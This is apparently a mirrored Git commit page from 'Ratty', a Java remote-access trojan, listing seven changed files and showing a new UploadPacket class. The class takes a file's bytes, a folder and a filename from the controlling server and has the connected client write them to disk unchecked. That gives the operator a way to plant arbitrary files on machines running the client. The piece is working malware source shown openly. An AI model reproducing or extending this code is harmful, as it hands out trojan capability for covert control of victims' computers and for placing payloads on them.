mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
7 changed files with 135 additions and 32 deletions
-
BINRatty/res/menu_icons_tree.png
-
11Ratty/src/de/sogomn/rat/packet/DownloadPacket.java
-
7Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
53Ratty/src/de/sogomn/rat/packet/UploadPacket.java
-
58Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
-
31Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
Before Width: 96 | Height: 64 | Size: 600 B After Width: 96 | Height: 64 | Size: 670 B |
@ -0,0 +1,53 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.File; |
|||
|
|||
import de.sogomn.engine.util.FileUtils; |
|||
import de.sogomn.rat.ActiveClient; |
|||
|
|||
public final class UploadPacket implements IPacket { |
|||
|
|||
private byte[] data; |
|||
private String folder, fileName; |
|||
|
|||
public UploadPacket(final String filePath, final String folder) { |
|||
this.folder = folder; |
|||
|
|||
final File file = new File(filePath); |
|||
|
|||
data = FileUtils.readExternalData(filePath); |
|||
fileName = file.getName(); |
|||
} |
|||
|
|||
public UploadPacket() { |
|||
folder = fileName = ""; |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeInt(data.length); |
|||
client.write(data); |
|||
client.writeUTF(folder); |
|||
client.writeUTF(fileName); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
final int length = client.readInt(); |
|||
|
|||
data = new byte[length]; |
|||
|
|||
client.read(data); |
|||
|
|||
folder = client.readUTF(); |
|||
fileName = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute(final ActiveClient client) { |
|||
final String path = folder + fileName; |
|||
|
|||
FileUtils.writeData(path, data); |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue